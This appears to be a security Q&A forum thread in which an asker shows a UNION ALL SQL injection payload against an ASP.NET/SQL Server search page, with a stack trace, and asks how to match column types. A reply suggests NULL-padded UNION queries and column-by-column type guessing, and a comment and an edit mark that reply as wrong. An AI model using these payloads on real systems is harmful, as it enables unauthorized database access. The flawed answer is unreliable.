1

I've determined that the application is vulnerable to SQL injection and the proper amount of values to SELECT in the corresponding UNION ALL query:

foo' UNION ALL SELECT '1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1' --

My problem is that the selected values aren't of the same type as those selected by the original query. In this case, the timestamp error (see below) could refer to any of the selected values. How can I select values that doesn't generate type error, or determine the proper types to use?

Error:

Implicit conversion from data type varchar to timestamp is not allowed. Use the CONVERT function to run this query. 

[SqlException (0x80131904): Implicit conversion from data type varchar to timestamp is not allowed. Use the CONVERT function to run this query.]
   System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) +3306108
   System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) +736
   System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) +4061
   System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() +90
   System.Data.SqlClient.SqlDataReader.get_MetaData() +99
   System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInternal, Boolean forDescribeParameterEncryption, Boolean shouldCacheForAlwaysEncrypted) +604
   System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, Boolean inRetry, SqlDataReader ds, Boolean describeParameterEncryptionRequest) +3303
   System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean& usedCache, Boolean asyncWrite, Boolean inRetry) +667
   System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +83
   System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +301
   System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +201
   System.Data.Common.DbDataAdapter.Fill(DataTable[] dataTables, Int32 startRecord, Int32 maxRecords, IDbCommand command, CommandBehavior behavior) +453
   System.Data.Common.DbDataAdapter.Fill(DataTable dataTable) +141
   test.getTable(String select) +129
   test.write(String whereField, String searchFor, String searchWhen, String searchTo) +363
   test.search(String searchFor, String searchBy, String searchWhen, String searchTo) +436
   test.submitsearch_Click(Object sender, EventArgs e) +122
   System.Web.UI.WebControls.Button.OnClick(EventArgs e) +11758848
   System.Web.UI.WebControls.Button.RaisePostBackEvent(String eventArgument) +150
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +5028
0

You'll probably need to brute force it. But that looks like way to many columns to brute force at the same time! But don't worry, NULL comes to the rescue:

foo' UNION ALL 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, ...

Set all columns to NULL, and try different types for the first column. When you got that one nailed down, move on to the next. And so on.

EDIT: This seems to be wrong, see comments.

|improve this answer|||||
  • Thanks @Anders, but I still experience a problem with null: Cannot cast DBNull.Value to type 'System.DateTime'. Please use a nullable type.? – Shuzheng Jul 4 '19 at 8:18
  • @Shuzheng Hmm... Then my solution is wrong. Sorry. A guess: The error is probably about the first column where the types don't match. Try changing first column and see if the error message changes. (Don't know if this is workable, just a guess.) – Anders Jul 4 '19 at 8:27

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.